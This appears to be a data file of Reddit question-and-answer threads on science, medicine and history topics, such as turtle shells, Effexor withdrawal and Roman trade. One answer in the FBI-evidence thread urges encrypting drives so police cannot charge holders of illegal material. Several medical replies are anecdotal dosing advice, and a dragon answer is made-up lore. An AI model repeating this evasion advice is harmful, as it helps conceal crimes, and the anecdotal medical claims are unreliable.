supposed to be in those two spots near the bottom are actually supposed to make the table much wider, but people didn't like how it looked so they compressed it to fit on normal paper.  Those elements can't be said to be in group \"three\" because there's more than one column, and the middle section of the table is already not going to be relevant to the groups. (The left and right is where the groups matter.)\n\n**In short, why is there two rows that don't fit? People didn't like how it looked with them.  How do they fit into one group? They don't.**"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/thumb/6/67/32-column_periodic_table-a.png/650px-32-column_periodic_table-a.png"], [], [], ["https://thumbnails-visually.netdna-ssl.com/ThePeriodicCircle_503d6c999bf9f.jpg", "https://www.johnpratt.com/atomic/images/round/circular_periodic_table.jpg", "https://commons.wikimedia.org/wiki/File:Electron_subshels_(triangles\\).png"], ["https://upload.wikimedia.org/wikipedia/commons/thumb/2/2a/Periodic_table_large-long.svg/1597px-Periodic_table_large-long.svg.png"], [], [], ["https://www.reddit.com/r/Jokes/comments/9asy4v/if_queen_elizabeth_accidentally_farts_during/e4ycalx", "https://en.wikipedia.org/wiki/Alternative_periodic_tables#Left_step_periodic_table_\\(Janet,_1928\\)"], [], ["ptable.com"], [], []]}
{"q_id": "1lnauc", "title": "Why did this turtle's shell form so oddly around these plastic rings?", "selftext": "Picture: _URL_0_  \n\nIs the shell malleable enough at hatching for plastic to drastically change its growth?  \n\nAlso, what physical effects might this have on the turtle's health?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1lnauc/why_did_this_turtles_shell_form_so_oddly_around/", "answers": {"a_id": ["cc0znle", "cc0zvp9"], "score": [12, 45], "text": ["From wikipedia:\n >  The inner layer of a turtle's shell is made up of about 60 bones that include portions of the backbone and the ribs, meaning the turtle cannot crawl out of its shell. In most turtles, the outer layer of the shell is covered by horny scales called scutes that are part of its outer skin, or epidermis. Scutes are made up of the fibrous protein keratin that also makes up the scales of other reptiles. These scutes overlap the seams between the shell bones and add strength to the shell. Some turtles do not have horny scutes. For example, the leatherback sea turtle and the soft-shelled turtles have shells covered with leathery skin, instead.\n\nThe first thing to note is that the hardest part of the shell is made from bone. Even in humans, constraining bones will affect the shape they grow into (see [this](_URL_0_)). The bones do not need to be soft (indeed, the bones in a baby's skull harden relatively quickly) for this to occur.\n\nThe other part of the shell is made from keratin, which is much softer than bone and would be even easier to shape.\n\nI can't say what effects this would have on the turtle's health.", "Yes, turtle shells are soft and malleable at hatching. They have to be, because in order to make the most of the space inside the egg, they develop in a sort of fetal position with their belly folded. You can see that [on this photo I took](_URL_0_) of a newly hatched Hermann's tortoise.\n\nOnce out of the egg, the shell will straighten within a few days and the belly fold will disappear. However, the shell will stay relatively soft for quite some time (at least one year, possibly longer), so it's not surprising that external pressure like those plastic rings will impact the shell's growth.\n\nAs for the effects on the turtle's health, there'll certainly be some, such as diminished lung capacity."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/VXNl5Ra.jpg"], "answers_urls": [["http://en.wikipedia.org/wiki/Artificial_cranial_deformation"], ["http://i.imgur.com/xOkhPfu.jpg"]]}
{"q_id": "5k1015", "title": "why is effexor so hard to get off?", "selftext": "Bonus question: I've read that switching to Prozac and quitting that instead after a while would be tons easier. Would that work, and why?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5k1015/eli5_why_is_effexor_so_hard_to_get_off/", "answers": {"a_id": ["dbkhz9p", "dbki3d3", "dbklxj9", "dbkp2ok", "dbkp8cu", "dbkqdcc", "dbkurjo", "dbkv2e3", "dbkynn0"], "score": [20, 40, 3, 3, 11, 5, 4, 2, 2], "text": ["Effexor has a strong effect on two neurotransmitter systems, and also has very short half-life compared to Prozac. Effexor is metabolized and removed from your system very quickly, and the sudden lack of stimulation of serotonin and norepinephrine receptors causes intense withdrawal symptoms. \n\nTramadol, an opioid painkiller, is very chemically similar to Effexor, and has similarly severe withdrawal symptoms. I know, I've been there, and it is easily one of the worst things I've ever experienced.", "Effexor has a short half-life, meaning it is processed through your body quickly, so if you stop taking it your body will experience withdrawal symptoms just as quickly. Prozac is easier to stop taking because its half-life is much longer, so withdrawal symptoms are not nearly as extreme because it's still in your system while you come off of it. \n\nThink of it this way: you give a kid a lollipop and just as the kid is really into the lollipop, you snatch the lollipop away and the kid cries. Your brain is the kid, and the meds are the lollipop.\n\nSource: I've taken both, felt withdrawals for both, and this is essentially how my doctor explained it to me. \n\nP.S. I would not advise coming off of medications without consulting your doctor. They'll slowly ween you off by gradually lowering the dosage until you're no longer on any, which is much easier for your body and brain to handle.", "Effexor has a short half life so you when you stop, it's effects are abruptly stopped as well. PAxil is pretty notorious for this as well. You are correct about the Prozac solution. The reason is that Prozac has an extremely long half life in the body, along with it's metabolites. So although the two drugs are different, they both inhibit the serotonin reuptake pump. And by taking Prozac that inhibition will be gradually released rather than all at once. I believe also that since Prozac competes for the same enzymes in the liver to be metabolized, the Prozac effectively slows down the rate at which Effexor is removed.", "I can't give a why answer BUT I had a horrible time getting off Effexor. Added 10mg of Prozac and then after a few weeks I could stop Effexor with no side effects. It absolutely works. ", "Effexor works marvels on me, but I go into withdrawal after almost immediately if I miss a dose by more than an hour.", "Our bodies are very efficient. This is why drugs are so addictive: one way or another the brain sees a surplus of neurotransmitters, and the body says \"w00t! don't have to waste any energy making *those* anymore.\" So it's also why coming off of drugs is so difficult: when the external source/mechanism is cut off, the body has nothing to fill the gap. It takes time for it to be convinced that no more external deliveries will be made, and to ramp production back up.\n\nRamping down off of Effexor was one of the worst experiences I have had with medication. I had heard bad things about Prozac, so I tried to ride the withdrawals out... a couple of days later I went back to the doctor and agreed to the Prozac. I had none of the side-effects I had been worrying about, it did greatly reduce the slope of the ramp, and the ramp from coming off of it was gentler too.\n\nYMMV, I've known a few people who come down off of Effexor without much hassle. But two of them said they didn't think they had really needed the Effexor in the first place, so I suspect their experience has something to do with their natural production of the relevant neurotransmitters.", "While on this thread: did anyone else get head zaps and grinded their teeth while on it ? ", "I was on wellbutrin and effexor together. I tried to, very slowly, ween myself off effexor first. I found that i would snap at people when they didnt really deserve it. Or if it was a case of speaking my mind when normally you wouldnt. So i went back on my effexor and tried coming off the wellbutrin. That was about 7 yrs ago and im still on effexor, but i only take about 37.5 -75mg per day depending on whats going on in my life. More stress = higher dose. \nWhat im getting at is even though you ween yourself off it, you may actually still need it. My dr said such a low dose is really just more to curb anxiety. Which i didnt realize i had an issue with. \n", "I've been put on nearly everything to try to help my bipolar over the last few years, and I can definitely say that Effexor was the worst to come off of. Headaches, sweating, fainting, etc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "1pt7co", "title": "Has music therapy, such as the effect on mood, been used in history?", "selftext": "using music as therapy for transforming mood is used now-a-day for treatment to disabled children, the elderly, hospice patients, people in psychiatric wards. however I want to know if there are references whether music to change mood was used in the past ? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1pt7co/has_music_therapy_such_as_the_effect_on_mood_been/", "answers": {"a_id": ["cd5rdh2"], "score": [3], "text": ["Convineniently, /u/caffarelli just posted about an example of this pertaining to Philip V of Spain in a different thread right here! \n\n_URL_0_\n\nThere's a direct link to the comment, hopefully it's what you're after."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/1pssib/the_royal_ipod_before_we_could_record_and/cd5r2ty"]]}
{"q_id": "12qdtk", "title": "How accurate does a pregnancy test predict cancer in males?", "selftext": "If it's accurate, why are cancer screenings so expensive?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/12qdtk/how_accurate_does_a_pregnancy_test_predict_cancer/", "answers": {"a_id": ["c6xg38b", "c6xgsub", "c6xhmzi", "c6xj3wa"], "score": [377, 14, 108, 3], "text": ["A pregnancy test works by looking for a marker called [beta-hCG](_URL_0_), a glycoprotein hormone with alpha subunits similar to LH, FSH and TSH, with differences in biological activity due to the beta subunit composition.  Levels of this protein in the urine are elevated during pregnancy, and it is also elevated in seminomatous and nonseminomatous types of testicular cancers.  It is not elevated in all types of testicular cancer, so no beta-hCG test can replace regular self-exams.\n\nA \"normal\" value for beta-hCG is somewhere near 2 U/L in men and 3 U/L in menstruating women.  In seminomas, the level is usually less than 300 U/L and in nonseminomatous tumors it can be over 1000 U/L, but a level greater than 5-10 U/L in a male is concerning and should be investigated further.  An over the counter pregnancy test can usually detect values as low as 10 U/L, but may not detect beta-hCG until values near 20-25 U/L depending on the brand, and, importantly, OTC pregnancy tests only give a positive or negative - not an actual number.\n\nThere may be false positives due to chemotherapy, pituitary dysfunction or testicular malformations.  Therefore, these tests should be correlated with clinical examination, especially the finding of a painless, hard mass in the testicles.\n\nOne main utility of medical tests is their return of a precise number.  Levels of beta-hCG correlate with tumor type, progression and prognosis, so it is important both to determine the presence of increased levels beta-hCG (pregnancy test) as well as the magnitude of increase and the rate of increase with serial tests.\n\nA great discussion on the use of screening tests is found [here](_URL_1_), but this question was about accuracy.", "Pregnancy tests screen for the presence of beta-HCG, which is present in 85% of all men whom have germ cell carcinomas. I.E. testicular cancer. You're talking about a single marker that is indicative of a single type of cancer.\n\nCancers are collectively called cancers because they all start as genetic mutations in the DNA. Unfortunately every type of cancer is really a different disease and expresses it's own specific set of markers (proteins). These markers (proteins) are varied in size, shape, function, really in every way. So the markers for say Hodgkins Lymphoma are completely different than those for testicular cancer.\n\nThe kidneys will not pass proteins (markers) into the urine past a certain size, and some of these proteins used as tumor markers are too large to pass through the kidneys into Urine.  ", "Something here needs re-iterating.  A pregnancy test in males does NOT detect all forms of cancer.  It detects some sub-types of testicular cancer.\n\nMoreover, indiscriminate screening is not always helpful.  Imagine the following scenario: there is a disease that affects 1 person in 1,000,000.  There is a cheap test to detect it, but it returns a false positive result 1% of the time.\n\nIf 1,000,000 people take the test, there will be one true positive result and 10,000 false positive results.  These people all go to their doctor for biopsies, but let's say a biopsy has a 0.01% chance of causing a fatal infection.  So out of our 1 million patients, one is possibly saved by the screen, 10,000 are exposed to un-needed further treatment, and 1 dies due to their false diagnosis.\n\nScreening is not always beneficial.  In fact, it is extremely difficult to devise a cancer screen that works well in all cases.  ", "Just a re-iteration: \nhCG (human chorionic gonadotropin) has two subunits- alpha and beta. The alpha unit is similar to that of LH, FSH, and TSH (as discussed by ren5311). There are also other forms of hCG, such as total hCG, C-terminal peptide, free alpha-subunit, \u00df-core fragment, hyperglycosylated, etc. Nicked or cleaved hCG is the best marker for detection of germ cell line tumors. \n\nPregnancy tests usually detect hCG levels, a hormone that regulates reproductive and metabolic functions. It is produced during pregnancy, trophoblastic diseases (trophoblasts are cells of the placenta that help nourish the embryo), and some cancer. It is no longer JUST a pregnancy test. It is also a tumor marker...\n\nIf a man takes a pregnancy test and gets a positive result, it may often indicate testicular cancer (0-5 mlU/ml). When combined with alpha-fetoprotein, \u00df-hCG is an excellent tumor marker for the monitoring of germ cell tumors. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Human_chorionic_gonadotropin", "http://www.reddit.com/r/askscience/comments/12qf5f/pregnancycancer_test_for_males_why_is_checking/"], [], [], []]}
{"q_id": "1rs0wh", "title": "why is the movie \"pearl harbor\" from 2001 considered such a bad portrayal of the 1941 attack?", "selftext": "Aside from opinions of \"it's just a bad movie\", I've heard numerous times that the historical accuracy of the movie left much to be desired - how so?  What is the most historically accurate movie that is based on the attack?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1rs0wh/eli5_why_is_the_movie_pearl_harbor_from_2001/", "answers": {"a_id": ["cdq9pe9", "cdqar2p"], "score": [3, 3], "text": ["Yeah, Tora! Tora! Tora! is pretty good.  It did though confuse even some historians into thinking Yamamoto said the Sleeping Giants quote.\n\nPearl Harbor got so much wrong.  For starters, the US didn't have modern warships stationed at Pearl Harbor.\n\nFor another no US army pilots were transferred to the RAF to get combat experience before the US joined the war at a time in which the US was trying to pretend to be all neutral.\n\nNo one from Pearl Harbor went on the Doolittle Raid.\n\nDropped bombs do not fall directly downwards.\n\nThe Japanese didn't spend half of the attack strafing pretty nurses.  \n\nIt's been years since I saw it so I'm probably forgetting a lot of other things they got really wrong.", "The title was the setting, not the plot. Tora tora tora was a much better depiction of the event, whereas From here to eternity was a move that used it as a setting around a different plot, with more success. It was also an attempt to make a date move, but you can't combine Saving Private Ryan with The Notebook and expect anything good to come from it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "c2zkmv", "title": "why do so many drugs/medicines have the potential to cause liver damage? is the liver just a weak organ that can't handle much?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c2zkmv/eli5_why_do_so_many_drugsmedicines_have_the/", "answers": {"a_id": ["ernl72t", "ernlc14", "ernm2zr", "ernpq49", "ernsgy6", "ero5n5p"], "score": [34, 6, 6, 16, 3, 3], "text": ["Liver filters your blood. So everything you take passes through it.\n\nMost drugs are toxic in high concentrations. They become poison. So when they hit the filter, they hurt it because it sucks up the poison. \n\nIt's not weak. It's one of the few parts of us capable of regeneration.", "Similar to the way the kidneys filter the fluids in the body, the liver is the body\u2019s blood filter. Everything that enters your body that goes into your blood stream is filtered through your liver such as medicine and alcohol.", "The liver's job is to process bad chemicals found in the blood into things the kidneys can filter out.  Many drugs have the potential to be harder to break down than the natural chemicals the liver evolved to process.", "Weak? The liver turns toxic alcohol into a fun drink! It turns poison into recreational products with mere side effects. Too much poison and you test your limits with the ability of this magical organ. Too much poison but not enough to cause near-deathly side effects and your liver might get damaged..but..guess what! The liver is one of the only internal organs that posesses the ability to repair itself by regrowing. Someone you know has some near-deadly side effects from consuming too much poison? You can give them a part of your liver. You can GROW BACK this organ so that you and your poisoned friend can continue to poison yourselves safely again. It's an incredible organ.", "Quite the opposite, the liver is a tough organ that handles misty of the poisons the body manufactures and consumes. Too much, however, and  it can't keep up. Poisons build up, making things worse and worse.", "The liver is like the Chemical Factory for your body.  A lot of toxins and other chemicals get broken down there.  So if something goes wrong, it's one of the areas things are likely to go wrong."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "4938kr", "title": "can the first lady legally be vice president?", "selftext": "So can a first lady be the presidents vice president? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4938kr/eli5_can_the_first_lady_legally_be_vice_president/", "answers": {"a_id": ["d0oo48s", "d0ozgur"], "score": [4, 2], "text": ["If she's a natural born citizen and 35 years old or older. Trump's wife couldn't I don't think", "Yes, the Constitution does not recognize the role of \"First Lady.\" And the job isn't always held by a president's wife.  The primary role is to be the main hostess, the coordinator of all the social functions of the White House.  A president who is a bachelor or whose wife dies will usually ask a friend or family member to take over the job.\n\nHere's the point of all this: if you're asking whether the president's wife can be vice-president, then the answer is yes, but she would probably need to give the actual job of First Lady to someone else.  Both FLOTUS and VP get their own chief of staff, their own press secretary... they're both big roles and probably too big for one person to handle simultaneously."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2go1sk", "title": "Is a dragon a mammal or a reptile?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2go1sk/is_a_dragon_a_mammal_or_a_reptile/", "answers": {"a_id": ["ckkwemb"], "score": [2], "text": ["No, they are reptile and are cold blooded. They don't produce their own heat. To create the fire they produce a gas like substance and sit that, then to ignite it they have a flit like texture to their teeth and grind then when they get aggressive. This is how the produce the fire, not their own heat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3ck12l", "title": "lightheadedness.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3ck12l/eli5_lightheadedness/", "answers": {"a_id": ["csw88hf"], "score": [2], "text": ["Lightheadedness is most often a short term lack of oxygen getting to the brain, often because of low blood pressure at that moment.  The \"I stood up too fast\" variety is common and not dangerous.  If you are you find yourself having it frequently, or it's having some negative impact on your daily activity, then maybe get it checked out."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bkrvuu", "title": "Ancient Rome imported exotic goods like spices, ivory, and silk from the East. What, if anything, did they export?", "selftext": "The [Hou Hanshu](_URL_0_) describes an Imperial Roman merchant or diplomat at the court of the Chinese emperor:\n\n > In the ninth yanxi year [166 CE], during the reign of Emperor Huan, the king of Da Qin (the Roman Empire), Andun (Marcus Aurelius Antoninus), sent envoys from beyond the frontiers through Rinan (Commandery on the central Vietnamese coast), to offer elephant tusks, rhinoceros horn, and turtle shell. This was the very first time there was [direct] communication [between the two countries]. The tribute brought was neither precious nor rare\"\n\nWas there anything besides gold and silver that the Roman Empire exported to Eastern powers, our could have feasibly exported if they knew of a market for it? \n\nInspired by [this answer](_URL_1_), thank you u/toldinstone!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bkrvuu/ancient_rome_imported_exotic_goods_like_spices/", "answers": {"a_id": ["eml9q0o"], "score": [5], "text": ["Great news! I answered this question [just a couple of weeks back](_URL_0_). I'll copy/paste it below for convenience.\n\nThe idea that Indians (especially Southern Indians) eschewed all Western goods, instead favouring gold and silver coinage instead, is a pretty common misconception. It's not a completely incorrect impression - gold and silver currencies - especially silver - were *heavily* trafficked in the Indian Ocean trade, to the point that it seems that an entire series of coins in Tiberius' reign were specifically made for the purpose of this trade (a huge number of these coins with the same obverse and reverse have been found in mint condition hoards throughout the subcontinent). The Romans knew what people liked, and they were eager to provide - and the trade in precious metals seems to have kept the Roman economy in check as well. With the centralization of the Empire, a large amount of bullion flowed into the Roman economy, suggesting that the Indian Ocean trade may have been an outlet for some of that. There's a counterpoint there that *so* much bullion went to India that there was a shortage of silver in the Roman Empire, leading to the debasement of coinage, but, again, that's a nitpicky point that doesn't much matter for our current discussion. \n\nSuffice it to say that Rome traded/exported a huge amount of silver to the Far East. It was generally transported in prepackaged, sealed bags, which had a set amount of money each. Since the silver was traded by weight (which was one reason why it was so valued - the *denarii* of the Early Imperial period had an unmatched level of purity), this made life *far* easier for the merchants in question, especially since trafficking silver was illegal in Egypt (they had a special bronze coinage....again, random irrelevant tangent. Presealed packages was the point here). \n\nHowever, there were certainly plenty of exports from West to East. Rome as an empire encompassed a huge swathe of territory, an enormous number of distinct cultures, and, as a result, was able to offer products from throughout its vast reach. I'm gonna go ahead and sort these by category - the reason will become obvious as you ~~scroll~~ read through.^1 \n\n***Foodstuffs and Olive Oil***  \n\nInterestingly enough, one of the most heavily traded resources within the Roman Empire also made its way beyond the borders of the Empire for trading purposes. Grain, a huge amount of which was grown and shipped in Rome's breadbasket - Egypt - was in demand along the Indian Ocean trade routes as well. *Periplus of the Erythrian Sea* - our most valuable document by far for figuring out what was traded by whom, with whom, and from whom - notes that grain was traded with Avalites, Muza, and Kane in small amounts, and was used in Rhapta in bulk as a way to cultivate goodwill with the local nobility (read: bribes/gifts). At Muziris and Bakare, demand for grain was a bit higher, since local merchants didn't bother trafficking it. Ports throughout the Red Sea also relied on Egyptian grain to support their own local staples, though those aren't as far east as you're asking about.\n\nFruits were also trafficked. Fresh fruit, obviously enough, was out of the question - despite the fact that sea travel was the fastest way to get from point a to point b in the Roman world (discounting the *cursus publicus*, which doesn't count because it was an emergency option), it would have still taken weeks or months for fruit from the Empire to make its way down to India and vice versa. Therefore fruit for trade was preserved, pickled, or dried. Fragments of fruit containers have been found in India, and excavations at Berenike - one of Rome's two largest ports on the Red Sea - have unearthed tons of remains of popular fruits across the Roman world, such as olives, grapes, apricots, and watermelons. At the other major port, Myos Hormos, they've even found a building that was used as a proto-refrigeration unit, purposefully kept waterlogged as a method of keeping the contents cool and fresh. The *Periplus* only records olives being exported to Avalites, but archaeological remains show that the document, while incredibly comprehensive, is not necessarily complete.\n\nThe famed Roman fish sauce, *garum*, was also a significant export. It's not necessarily mentioned in the *Periplus*, but, again, archaeology has our back, and some pottery shards have been found with traces of the sauce in India. Whether the sauce was actively exported or whether it was intended for consumption by Roman merchants living in India is impossible to say with the evidence that we currently have. The condiment can't be underestimated, though - here's Pliny discussing it:\n\n >  Another liquid, too, of a very exquisite nature, is that known as \"garum:\" it is prepared from the intestines of fish and various parts which would otherwise be thrown away, macerated in salt; so that it is, in fact, the result of their putrefaction. Garum was formerly prepared from a fish, called \"garos\" by the Greeks; who assert, also, that a fumigation made with its head has the effect of bringing away the afterbirth.\n\n >   At the present day, however, the most esteemed kind of garum is that prepared from the scomber, in the fisheries of Carthago Spartaria: it is known as \"garum of the allies,\" and for a couple of congii [~3.2L per *congius*] we have to pay but little less than one thousand sesterces [250 *denarii*]. Indeed, there is no liquid hardly, with the exception of the perfumes, that has sold at higher prices of late; so much so, that the nations which produce it have become quite ennobled thereby. There are fisheries, too, of the scomber on the coasts of Mauretania and at Carteia in B\u00e6tica, near the Straits which lie at the entrance to the Ocean; this being the only use that is made of the fish. For the production of garum, Clazomen\u00e6 is also famed, Pompeii, too, and Leptis; while for their muria, Antipolis, Thurii, and of late, Dalmatia, enjoy a high reputation.\n\nRomans liked their fish sauce.\n\nAnyway, that brings us to the most *useful* liquid in the Roman world (no, Pliny, fish sauce doesn't count): Olive oil. Olive oil was used in everything in the Mediterranean world - medicine, food, bathing, sex, religion, fuel, etc. The *Periplus*, again, doesn't really talk about olive oil, leading to speculation that exports were mainly for Roman expats, but there is one reference to demand for it at Barbaria, on account of the king of the territory being a philhellene (Greek-lover). There's a limited amount of corroborating archaeological evidence - while it's clear that some olive oil at Berenike and Myos Hormos was intended for export, it's not in the kind of quantities that were consumed in the Mediterranean world. \n\n***Wine***  \nMore liquids! Luckily, the Romans were *really* good at shipping liquid things. Amphorae were ubiquitous for a reason! This one, unlike olive oil and garum, was *very* well appreciated by the Indians (people of culture, like modern grad students). There are a number of Greek and Roman sources that talk about the Indians and wine - here's one from Lucian:\n\n >  Nigrinus's words have raised in me a joyous exaltation of spirit which precludes every meaner thought. Philosophy seems to have produced the same effect on me as wine is said to have produced on the Indians the first time they drank it. The mere taste of such potent liquor threw them into a state of absolute frenzy, the intoxicating power of the wine being doubled in men so warm-blooded by nature. This is my case. I go about like one possessed; I am drunk with the words of wisdom.\n\nThe Romans loved the apparent Indian love of wine, to the point where it became a running stereotype about the people. As we all know, stereotypes have a habit of only being partially based in any sort of truth and, as any stereotype about any exotic people, have to be treated with caution. \n\n...that being said, Indian literature talks about a love for Roman wines, including a poem that includes this lovely set of lines:\n\n >  May you live sweetly, giving away precious ornaments to those who come in\nneed and never run out of them, while you enjoy life every day as women\nwearing bright bangles serve you fragrant and cool wine brought in fine ships\nby the Greeks, pouring from finely made pitchers made of gold.\n\nThe *Periplus* tells us that specific wines were in demand in specific regions - for example, Barbaria and Barygaza loved Italian and Laodikean wines, while the Nikanor archive corroborates this, with a record of Aminaean and Laodikean wines being sent to the Roman trade ports. Archaeology has revealed a huge number of wine amphorae in both Myos Hormos and Berenike, as well as across the Indian subcontinent and Baktria (modern northern Afghanistan and Pakistan) developed a ravenous appetite for the drink, including it in their religious practices. Imports to Baktria often went through the Indian port at Barygaza, which then shipped things north - but there are literally tens of thousands of artifacts that corroborate the Western influence on the area (Baktria is super cool, by the way - it was also a gateway for silk trade between the Chinese empire and the west. Sorry, yet another detour). Wine demand, going by archaeological finds, seems to be focused in the northwest and southeast of the Indian subcontinent - though that may just reflect the places that received the heaviest trade. Or it may mean nothing, since an absence of evidence is not evidence of absence. \n\nWhat we do know? Wine was *big* business."]}, "title_urls": [], "selftext_urls": ["http://depts.washington.edu/silkroad/texts/hhshu/hou_han_shu.html#sec11", "https://www.reddit.com/r/AskHistorians/comments/bk49d5/what_was_classicalera_chinese_understanding_of/emfo4xw/"], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/bg9qil/what_could_ancient_romans_and_their_medieval/elk4df4/?context=3"]]}
{"q_id": "3uq7th", "title": "let's say that the fbi finds illegal materials on my computer. that only proves that my computer was used to access these materials. how do they prove that i was the one actually using the computer at the time that these materials were accessed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3uq7th/eli5_lets_say_that_the_fbi_finds_illegal/", "answers": {"a_id": ["cxguwc0", "cxgvsuz", "cxgx3qp", "cxh4i9m", "cxh6ivp"], "score": [150, 47, 8, 2, 2], "text": ["They will have to make a case in court that you must have been the one using that computer. The assumption is that it is your computer, therefore you are the primary user, and unless you have an alibi to prove you could not have possibly been the person accessing, creating or using those illegal materials then they'd be able to make a case in court that you were, beyond a reasonable doubt, the one using the computer for illicit purposes.", " >  finds illegal materials on my computer.\n\nIf you have illegal materials, you should download [Veracrypt](_URL_0_) and encrypt your system drive.\n\nIf the police cannot access your data, they cant charge you with a crime.\n\nIf you have android 5+ then you can also secure your phone with encryption. \n\nIf anybody has questions about these two technologies just ask.", "This is somewhat complicated, as I do remember reading cases where someone was able to prove that the child porn on his hard drive was in a partition that he could not access or see through the normal interface (it required the computer to be accessed through the internet and was set up through some sort of virus). So he could easily have been unaware that the information was there the whole time. The court ruled that it did not matter, the information was on the computer which was his property and in his possession, therefor it is his. I can only assume he appealed.", "Associated question: would magnet swiping a hard drive get rid of anything/ could i just destroy the hard drive", "Basically, one or more of the following:\n\n- Websites, browsing history, chat history, cookies - what were you doing when the file was created? accessed? modified?\n\n- Computer Accounts - if the account the file is linked to has a strong password and is named \"yourname\" then it helps the prosecution.\n\n- Computer Information - e.g. registered user, registered organisation - the type of things you enter when you set up your PC. To go a step further they can probably get your Windows key and go to Microsoft for Information as well\n\n- Files that show you regularly use the computer, e.g. your resume/CV, your family holiday photos, etc.\n\n- If your work has a documented roster, they might go after that and show that while the PC was being used, you are on a day off.\n\nThe above are just the most basic ways an investigator might seek to prove your case, hope it made sense\n\nSource: In the industry (not in the US)\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://veracrypt.codeplex.com/"], [], [], []]}
{"q_id": "6g4ljt", "title": "My dad says the Middle East has \"always been embroiled in conflict\", even before WWI (and the subsequent splitting of the area by the Brits/French). How accurate is this statement?", "selftext": "Basically, we were having a discussion and I said that a lot of the conflict in the Middle East was due to the fact that borders were drawn by the British/French after they gave up the land they had amassed in the Middle East following WWI, which didn't really take into account the ethnic/religious differences of the groups living there. (Please correct me if any of this is wrong/too simplified!)\n\nMy dad apparently was unaware of this, but he went on to say that the Middle East has \"always fought each other even before that\". I have no idea how accurate that statement is; I don't know too much about Middle Eastern history, but I was under the impression that other than some pretty harsh religious wars between Shia and Sunni Muslims, the area wasn't really in any more conflict that most of the rest of the world at any corresponding time in history.\n\nI'm not trying to get into any political debates or make broad generalizations about the Middle East, I was just wondering what the levels of conflict in the Middle East were and whether they were any more deeply conflicted prior to WWI as compared to other nations/areas.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6g4ljt/my_dad_says_the_middle_east_has_always_been/", "answers": {"a_id": ["dinogt3", "dintyrh"], "score": [8, 24], "text": ["Well the situation in the Middle East is and was complicated. I will point you in the direction of several good answers we've had on these and related topics, but first, a little bit of context.\n\nAt the start of the 19th century, the majority of the Middle East - but not all of it - was under the control of the Ottoman empire. Yemen, Oman the Gulf States and Persia were outside of their sphere, but the territory of modern day Syria, Iraq, parts of Saudia Arabia, Egypt and beyond were under their control, along with part or all of several modern European countries like Bulgaria, Romania, Greece, Serbia and so on. \n\nThe Ottoman Empire was a large, multi-ethnic, religiously diverse entity. It was also an empire on the decline by the 19th century. It experienced a variety of internal and external conflicts over that hundred year span, including multiple conflicts with the other Great Powers of the day (Russia, France etc), multiple nationalist revolts (e.g. Greek, Albanian etc) and multiple religious uprisings (e.g. from Christians), even a Tribal conflict or two. I would certainly not categorize the Ottoman Empire over the Middle East as \"peaceful and stable\" over this period. Even before World War I, the Empire had contracted substantially since it's territorial peak centuries earlier.  On the other hand, it's not like Europe or the Americas were turmoil free over this period either. This was the era of peak European colonialism in Africa and Asia, home to the Napoleonic wars, American expansion and subsequent civil war, witness to the emergence of Germany and popular revolutions of all sorts. \n\nYou specifically are interested in the outcome of the first world war, because this does get a lot of press regarding contemporary situations in the Middle East. I will transition here into pointing you towards older discussions on the topic:\n\n* This [thread about Iraq and Sykes-Picot](_URL_0_), multiple lengthy answers by u/CptBuck and u/tayaravaknin \n* This [response to a post I made](_URL_1_), by u/CptBuck\n\nMy own addendum here is that the trend in the Middle East in the first two thirds of the 20th century was towards unification, rather than towards the creation of small states that were extremely sensitive to sectarian differences. The short lived United Arab Republic was one product of this, but over time the ideology of pan-Arabism fell out of favor. \n\n* [This discussion](_URL_2_) by u/SwayCalloway goes into some detail here about that process. \n", "We see comments like those your dad made pretty often in our media, either referring to supposed \"endless conflict\" or \"eternal hatreds\", but this has the effect of dehistoricizing the Middle East. That is, it creates an image of the Middle East as a place without history, that never changes. Whether arising out of a lack of knowledge, or just as often, an effort to push a modern-day political agenda, such portrayals are highly misleading.\n\nAs far as violence goes, the Middle East during the early modern period was one of the most peaceful regions in the world, especially the central Arab lands - Egypt, Palestine, Syria, and Iraq. From 1517-1800, these regions experienced only extremely low levels of political violence. I\u2019ve posted on this before, but conflict was essentially limited to four sources:\n\n1.\tThe imperial wars between the Ottomans and Safavids, which impacted only Iraq and only during a few brief periods: essentially 1534-6 and 1624-39.\n2.\tThe Celali Rebellions, essentially roving mercenaries/bandits fighting either for themselves or for a revolting governor, which mainly impacted Anatolia but stretched into northern Syria from time to time during the seventeenth century.\n3.\tConflict between local notables, or local notables and the state. An example would be the events surrounding the rebellions of the Druze lord Fakhr al-Din Ma'n in early seventeenth-century Lebanon.\n4.\tTribal conflict, or the incursion of 